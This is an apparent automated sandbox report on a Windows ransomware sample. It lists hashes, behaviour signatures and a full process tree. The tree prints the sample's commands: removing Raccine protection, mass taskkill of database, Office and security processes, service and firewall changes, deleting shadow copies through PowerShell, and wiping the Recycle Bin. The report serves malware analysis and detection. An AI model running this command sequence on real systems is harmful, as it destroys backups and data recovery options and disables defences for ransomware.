Resubmissions

28/10/2021, 15:44

211028-s6m55agfbk 10

10/10/2021, 17:01

211010-vjzlragafj 8

Analysis

  • max time kernel
    151s
  • max time network
    143s
  • platform
    windows7_x64
  • resource
    win7-en-20210920
  • submitted
    10/10/2021, 17:01

General

  • Target

    iE8JUAJp7.bin.exe

  • Size

    385KB

  • MD5

    a9a0fae4766d9f7cafa1560f5f62e46f

  • SHA1

    d582608dc07bd9f771334cdb60626755997dd56c

  • SHA256

    f70966e32d18a1e2ed51ebdcc6b985d8f7613febf0680639076c71ebeab6a350

  • SHA512

    5c2f89a16c5291d509f41bd5f12d18a386892738cfd5fb5cbd2156c52d46f28abde5f199461fe9a8bf3aa3f7e4644fe66c3ad48c3b114b792efdbf421468856b

Malware Config

Signatures

  • Disables Task Manager via registry modification
  • Downloads MZ/PE file
  • Downloads PsExec from SysInternals website 1 IoCs

    Sysinternals tools like PsExec are often leveraged maliciously by malware families due to being commonly used by testers/administrators.

  • Modifies Windows Firewall 1 TTPs
  • Modifies extensions of user files 6 IoCs

    Ransomware generally changes the extension on encrypted files.

  • Enumerates connected drives 3 TTPs 24 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Modifies WinLogon 2 TTPs 2 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Kills process with taskkill 58 IoCs
  • Modifies registry class 20 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 60 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SendNotifyMessage 2 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • System policy modification 1 TTPs 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\iE8JUAJp7.bin.exe
    "C:\Users\Admin\AppData\Local\Temp\iE8JUAJp7.bin.exe"
    1⤵
    • Modifies extensions of user files
    • Enumerates connected drives
    • Modifies WinLogon
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    • System policy modification
    PID:2032
    • C:\Windows\SysWOW64\taskkill.exe
      "taskkill" /F /IM RaccineSettings.exe
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:1612
    • C:\Windows\SysWOW64\reg.exe
      "reg" delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Raccine Tray" /F
      2⤵
        PID:1520
      • C:\Windows\SysWOW64\reg.exe
        "reg" delete HKCU\Software\Raccine /F
        2⤵
        • Modifies registry key
        PID:1040
      • C:\Windows\SysWOW64\schtasks.exe
        "schtasks" /DELETE /TN "Raccine Rules Updater" /F
        2⤵
          PID:1444
        • C:\Windows\SysWOW64\sc.exe
          "sc.exe" config Dnscache start= auto
          2⤵
            PID:1260
          • C:\Windows\SysWOW64\sc.exe
            "sc.exe" config FDResPub start= auto
            2⤵
              PID:1600
            • C:\Windows\SysWOW64\sc.exe
              "sc.exe" config SQLTELEMETRY start= disabled
              2⤵
                PID:1536
              • C:\Windows\SysWOW64\netsh.exe
                "netsh" advfirewall firewall set rule group=\"Network Discovery\" new enable=Yes
                2⤵
                  PID:1608
                • C:\Windows\SysWOW64\sc.exe
                  "sc.exe" config SQLTELEMETRY$ECWDB2 start= disabled
                  2⤵
                    PID:996
                  • C:\Windows\SysWOW64\sc.exe
                    "sc.exe" config SSDPSRV start= auto
                    2⤵
                      PID:1456
                    • C:\Windows\SysWOW64\sc.exe
                      "sc.exe" config SstpSvc start= disabled
                      2⤵
                        PID:2016
                      • C:\Windows\SysWOW64\sc.exe
                        "sc.exe" config SQLWriter start= disabled
                        2⤵
                          PID:284
                        • C:\Windows\SysWOW64\sc.exe
                          "sc.exe" config upnphost start= auto
                          2⤵
                            PID:1900
                          • C:\Windows\SysWOW64\taskkill.exe
                            "taskkill.exe" /IM mspub.exe /F
                            2⤵
                            • Kills process with taskkill
                            • Suspicious use of AdjustPrivilegeToken
                            PID:1920
                          • C:\Windows\SysWOW64\taskkill.exe
                            "taskkill.exe" /IM synctime.exe /F
                            2⤵
                            • Kills process with taskkill
                            • Suspicious use of AdjustPrivilegeToken
                            PID:1668
                          • C:\Windows\SysWOW64\taskkill.exe
                            "taskkill.exe" /IM mspub.exe /F
                            2⤵
                            • Kills process with taskkill
                            • Suspicious use of AdjustPrivilegeToken
                            PID:1960
                          • C:\Windows\SysWOW64\taskkill.exe
                            "taskkill.exe" /IM mydesktopqos.exe /F
                            2⤵
                            • Kills process with taskkill
                            • Suspicious use of AdjustPrivilegeToken
                            PID:1240
                          • C:\Windows\SysWOW64\taskkill.exe
                            "taskkill.exe" /IM Ntrtscan.exe /F
                            2⤵
                            • Kills process with taskkill
                            • Suspicious use of AdjustPrivilegeToken
                            PID:1820
                          • C:\Windows\SysWOW64\taskkill.exe
                            "taskkill.exe" /IM mysqld.exe /F
                            2⤵
                            • Kills process with taskkill
                            • Suspicious use of AdjustPrivilegeToken
                            PID:1964
                          • C:\Windows\SysWOW64\taskkill.exe
                            "taskkill.exe" /IM mydesktopservice.exe /F
                            2⤵
                            • Kills process with taskkill
                            • Suspicious use of AdjustPrivilegeToken
                            PID:1100
                          • C:\Windows\SysWOW64\taskkill.exe
                            "taskkill.exe" /IM isqlplussvc.exe /F
                            2⤵
                            • Kills process with taskkill
                            • Suspicious use of AdjustPrivilegeToken
                            PID:1896
                          • C:\Windows\SysWOW64\taskkill.exe
                            "taskkill.exe" /IM sqbcoreservice.exe /F
                            2⤵
                            • Kills process with taskkill
                            • Suspicious use of AdjustPrivilegeToken
                            PID:1396
                          • C:\Windows\SysWOW64\taskkill.exe
                            "taskkill.exe" /IM firefoxconfig.exe /F
                            2⤵
                            • Kills process with taskkill
                            PID:1700
                          • C:\Windows\SysWOW64\taskkill.exe
                            "taskkill.exe" /IM onenote.exe /F
                            2⤵
                            • Kills process with taskkill
                            • Suspicious use of AdjustPrivilegeToken
                            PID:1508
                          • C:\Windows\SysWOW64\taskkill.exe
                            "taskkill.exe" /IM encsvc.exe /F
                            2⤵
                            • Kills process with taskkill
                            • Suspicious use of AdjustPrivilegeToken
                            PID:1368
                          • C:\Windows\SysWOW64\taskkill.exe
                            "taskkill.exe" /IM agntsvc.exe /F
                            2⤵
                            • Kills process with taskkill
                            • Suspicious use of AdjustPrivilegeToken
                            PID:1832
                          • C:\Windows\SysWOW64\taskkill.exe
                            "taskkill.exe" /IM PccNTMon.exe /F
                            2⤵
                            • Kills process with taskkill
                            • Suspicious use of AdjustPrivilegeToken
                            PID:1696
                          • C:\Windows\SysWOW64\taskkill.exe
                            "taskkill.exe" /IM excel.exe /F
                            2⤵
                            • Kills process with taskkill
                            • Suspicious use of AdjustPrivilegeToken
                            PID:892
                          • C:\Windows\SysWOW64\taskkill.exe
                            "taskkill.exe" /IM CNTAoSMgr.exe /F
                            2⤵
                            • Kills process with taskkill
                            • Suspicious use of AdjustPrivilegeToken
                            PID:1816
                          • C:\Windows\SysWOW64\taskkill.exe
                            "taskkill.exe" /IM thebat.exe /F
                            2⤵
                            • Kills process with taskkill
                            • Suspicious use of AdjustPrivilegeToken
                            PID:1152
                          • C:\Windows\SysWOW64\netsh.exe
                            "netsh" advfirewall firewall set rule group=\"File and Printer Sharing\" new enable=Yes
                            2⤵
                              PID:656
                            • C:\Windows\SysWOW64\taskkill.exe
                              "taskkill.exe" /IM msaccess.exe /F
                              2⤵
                              • Kills process with taskkill
                              • Suspicious use of AdjustPrivilegeToken
                              PID:844
                            • C:\Windows\SysWOW64\taskkill.exe
                              "taskkill.exe" /IM sqlwriter.exe /F
                              2⤵
                              • Kills process with taskkill
                              • Suspicious use of AdjustPrivilegeToken
                              PID:1892
                            • C:\Windows\SysWOW64\taskkill.exe
                              "taskkill.exe" /IM outlook.exe /F
                              2⤵
                              • Kills process with taskkill
                              • Suspicious use of AdjustPrivilegeToken
                              PID:1116
                            • C:\Windows\SysWOW64\arp.exe
                              "arp" -a
                              2⤵
                                PID:1528
                              • C:\Windows\SysWOW64\taskkill.exe
                                "taskkill.exe" /IM steam.exe /F
                                2⤵
                                • Kills process with taskkill
                                • Suspicious use of AdjustPrivilegeToken
                                PID:1708
                              • C:\Windows\SysWOW64\taskkill.exe
                                "taskkill.exe" /IM tbirdconfig.exe /F
                                2⤵
                                • Kills process with taskkill
                                • Suspicious use of AdjustPrivilegeToken
                                PID:1604
                              • C:\Windows\SysWOW64\taskkill.exe
                                "taskkill.exe" /IM dbsnmp.exe /F
                                2⤵
                                • Kills process with taskkill
                                PID:1448
                              • C:\Windows\SysWOW64\taskkill.exe
                                "taskkill.exe" /IM tmlisten.exe /F
                                2⤵
                                • Kills process with taskkill
                                • Suspicious use of AdjustPrivilegeToken
                                PID:1884
                              • C:\Windows\SysWOW64\taskkill.exe
                                "taskkill.exe" /IM xfssvccon.exe /F
                                2⤵
                                • Kills process with taskkill
                                • Suspicious use of AdjustPrivilegeToken
                                PID:1596
                              • C:\Windows\SysWOW64\taskkill.exe
                                "taskkill.exe" /IM dbeng50.exe /F
                                2⤵
                                • Kills process with taskkill
                                • Suspicious use of AdjustPrivilegeToken
                                PID:848
                              • C:\Windows\SysWOW64\taskkill.exe
                                "taskkill.exe" /IM wordpad.exe /F
                                2⤵
                                • Kills process with taskkill
                                PID:548
                              • C:\Windows\SysWOW64\taskkill.exe
                                "taskkill.exe" /IM msftesql.exe /F
                                2⤵
                                • Kills process with taskkill
                                • Suspicious use of AdjustPrivilegeToken
                                PID:1136
                              • C:\Windows\SysWOW64\taskkill.exe
                                "taskkill.exe" /IM ocautoupds.exe /F
                                2⤵
                                • Kills process with taskkill
                                • Suspicious use of AdjustPrivilegeToken
                                PID:1764
                              • C:\Windows\SysWOW64\taskkill.exe
                                "taskkill.exe" /IM thebat64.exe /F
                                2⤵
                                • Kills process with taskkill
                                • Suspicious use of AdjustPrivilegeToken
                                PID:1720
                              • C:\Windows\SysWOW64\taskkill.exe
                                "taskkill.exe" /IM powerpnt.exe /F
                                2⤵
                                • Kills process with taskkill
                                • Suspicious use of AdjustPrivilegeToken
                                PID:1176
                              • C:\Windows\SysWOW64\taskkill.exe
                                "taskkill.exe" /IM mysqld-opt.exe /F
                                2⤵
                                • Kills process with taskkill
                                • Suspicious use of AdjustPrivilegeToken
                                PID:1580
                              • C:\Windows\SysWOW64\taskkill.exe
                                "taskkill.exe" /IM ocomm.exe /F
                                2⤵
                                • Kills process with taskkill
                                • Suspicious use of AdjustPrivilegeToken
                                PID:1796
                              • C:\Windows\SysWOW64\taskkill.exe
                                "taskkill.exe" /IM ocssd.exe /F
                                2⤵
                                • Kills process with taskkill
                                • Suspicious use of AdjustPrivilegeToken
                                PID:764
                              • C:\Windows\SysWOW64\taskkill.exe
                                "taskkill.exe" /IM mydesktopqos.exe /F
                                2⤵
                                • Kills process with taskkill
                                • Suspicious use of AdjustPrivilegeToken
                                PID:1744
                              • C:\Windows\SysWOW64\taskkill.exe
                                "taskkill.exe" /IM visio.exe /F
                                2⤵
                                • Kills process with taskkill
                                • Suspicious use of AdjustPrivilegeToken
                                PID:920
                              • C:\Windows\SysWOW64\taskkill.exe
                                "taskkill.exe" /IM infopath.exe /F
                                2⤵
                                • Kills process with taskkill
                                • Suspicious use of AdjustPrivilegeToken
                                PID:1196
                              • C:\Windows\SysWOW64\taskkill.exe
                                "taskkill.exe" /IM oracle.exe /F
                                2⤵
                                • Kills process with taskkill
                                • Suspicious use of AdjustPrivilegeToken
                                PID:1752
                              • C:\Windows\SysWOW64\taskkill.exe
                                "taskkill.exe" /IM mydesktopservice.exe /F
                                2⤵
                                • Kills process with taskkill
                                • Suspicious use of AdjustPrivilegeToken
                                PID:1528
                              • C:\Windows\SysWOW64\taskkill.exe
                                "taskkill.exe" /IM mbamtray.exe /F
                                2⤵
                                • Kills process with taskkill
                                • Suspicious use of AdjustPrivilegeToken
                                PID:2016
                              • C:\Windows\SysWOW64\taskkill.exe
                                "taskkill.exe" /IM sqlagent.exe /F
                                2⤵
                                • Kills process with taskkill
                                • Suspicious use of AdjustPrivilegeToken
                                PID:1960
                              • C:\Windows\SysWOW64\taskkill.exe
                                "taskkill.exe" /IM winword.exe /F
                                2⤵
                                • Kills process with taskkill
                                • Suspicious use of AdjustPrivilegeToken
                                PID:1920
                              • C:\Windows\SysWOW64\taskkill.exe
                                "taskkill.exe" /IM zoolz.exe /F
                                2⤵
                                • Kills process with taskkill
                                • Suspicious use of AdjustPrivilegeToken
                                PID:996
                              • C:\Windows\SysWOW64\taskkill.exe
                                "taskkill.exe" /IM sqlbrowser.exe /F
                                2⤵
                                • Kills process with taskkill
                                • Suspicious use of AdjustPrivilegeToken
                                PID:1448
                              • C:\Windows\SysWOW64\taskkill.exe
                                "taskkill.exe" /IM mysqld-nt.exe /F
                                2⤵
                                • Kills process with taskkill
                                • Suspicious use of AdjustPrivilegeToken
                                PID:1556
                              • C:\Windows\SysWOW64\taskkill.exe
                                "taskkill.exe" IM thunderbird.exe /F
                                2⤵
                                • Kills process with taskkill
                                PID:1252
                              • C:\Windows\SysWOW64\taskkill.exe
                                "taskkill.exe" /IM sqlservr.exe /F
                                2⤵
                                • Kills process with taskkill
                                • Suspicious use of AdjustPrivilegeToken
                                PID:1584
                              • C:\Windows\SysWOW64\taskkill.exe
                                "taskkill.exe" /IM ragent.exe /f
                                2⤵
                                • Kills process with taskkill
                                • Suspicious use of AdjustPrivilegeToken
                                PID:1100
                              • C:\Windows\SysWOW64\taskkill.exe
                                "taskkill.exe" /IM rmngr.exe /f
                                2⤵
                                • Kills process with taskkill
                                • Suspicious use of AdjustPrivilegeToken
                                PID:548
                              • C:\Windows\SysWOW64\taskkill.exe
                                "taskkill.exe" /IM rphost.exe /f
                                2⤵
                                • Kills process with taskkill
                                • Suspicious use of AdjustPrivilegeToken
                                PID:2000
                              • C:\Windows\SysWOW64\taskkill.exe
                                "taskkill.exe" /IM 1cv8.exe /f
                                2⤵
                                • Kills process with taskkill
                                • Suspicious use of AdjustPrivilegeToken
                                PID:1756
                              • C:\Windows\SysWOW64\taskkill.exe
                                "taskkill.exe" /IM sqld.exe /f
                                2⤵
                                • Kills process with taskkill
                                • Suspicious use of AdjustPrivilegeToken
                                PID:1288
                              • C:\Windows\SysWOW64\taskkill.exe
                                "taskkill.exe" /IM sql.exe /f
                                2⤵
                                • Kills process with taskkill
                                • Suspicious use of AdjustPrivilegeToken
                                PID:1456
                              • C:\Windows\SysWOW64\taskkill.exe
                                "taskkill.exe" /IM mysql.exe /f
                                2⤵
                                • Kills process with taskkill
                                • Suspicious use of AdjustPrivilegeToken
                                PID:1696
                              • C:\Windows\SysWOW64\taskkill.exe
                                "taskkill.exe" /IM oracle.exe /f
                                2⤵
                                • Kills process with taskkill
                                • Suspicious use of AdjustPrivilegeToken
                                PID:1708
                              • C:\Windows\SysWOW64\taskkill.exe
                                "taskkill.exe" /IM mysqld.exe /f
                                2⤵
                                • Kills process with taskkill
                                • Suspicious use of AdjustPrivilegeToken
                                PID:1596
                              • C:\Windows\SysWOW64\taskkill.exe
                                "taskkill.exe" /IM vmwp.exe /f
                                2⤵
                                • Kills process with taskkill
                                • Suspicious use of AdjustPrivilegeToken
                                PID:1652
                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                "powershell.exe" & Get-WmiObject Win32_Shadowcopy | ForEach-Object { $_Delete(); }
                                2⤵
                                • Suspicious use of AdjustPrivilegeToken
                                PID:756
                              • C:\Windows\SysWOW64\cmd.exe
                                "cmd.exe" /c rd /s /q %SYSTEMDRIVE%\\$Recycle.bin
                                2⤵
                                  PID:1152
                                • C:\Windows\SysWOW64\netsh.exe
                                  "netsh" advfirewall firewall set rule group=\"Network Discovery\" new enable=Yes
                                  2⤵
                                    PID:1580
                                  • C:\Windows\SysWOW64\netsh.exe
                                    "netsh" advfirewall firewall set rule group=\"File and Printer Sharing\" new enable=Yes
                                    2⤵
                                      PID:1740
                                    • C:\Windows\SysWOW64\arp.exe
                                      "arp" -a
                                      2⤵
                                        PID:548
                                      • C:\Windows\SysWOW64\notepad.exe
                                        "C:\Windows\System32\notepad.exe" C:\Users\Admin\Desktop\Инструкция.txt
                                        2⤵
                                          PID:1820
                                        • C:\Windows\splwow64.exe
                                          C:\Windows\splwow64.exe 12288
                                          2⤵
                                          • Modifies registry class
                                          • Suspicious use of SetWindowsHookEx
                                          PID:1136

                                      Network

                                      MITRE ATT&CK Enterprise v6

                                      Replay Monitor

                                      Loading Replay Monitor...

                                      Downloads

                                      • memory/756-124-0x0000000002550000-0x000000000319A000-memory.dmp

                                        Filesize

                                        12.3MB

                                      • memory/756-125-0x0000000002550000-0x000000000319A000-memory.dmp

                                        Filesize

                                        12.3MB

                                      • memory/756-123-0x0000000002550000-0x000000000319A000-memory.dmp

                                        Filesize

                                        12.3MB

                                      • memory/1136-130-0x000007FEFC4A1000-0x000007FEFC4A3000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/1136-132-0x0000000004250000-0x0000000004251000-memory.dmp

                                        Filesize

                                        4KB

                                      • memory/1608-72-0x00000000759B1000-0x00000000759B3000-memory.dmp

                                        Filesize

                                        8KB

                                      • memory/2032-53-0x0000000000BD0000-0x0000000000BD1000-memory.dmp

                                        Filesize

                                        4KB

                                      • memory/2032-59-0x0000000005290000-0x0000000005291000-memory.dmp

                                        Filesize

                                        4KB

                                      • memory/2032-133-0x0000000005295000-0x00000000052A6000-memory.dmp

                                        Filesize

                                        68KB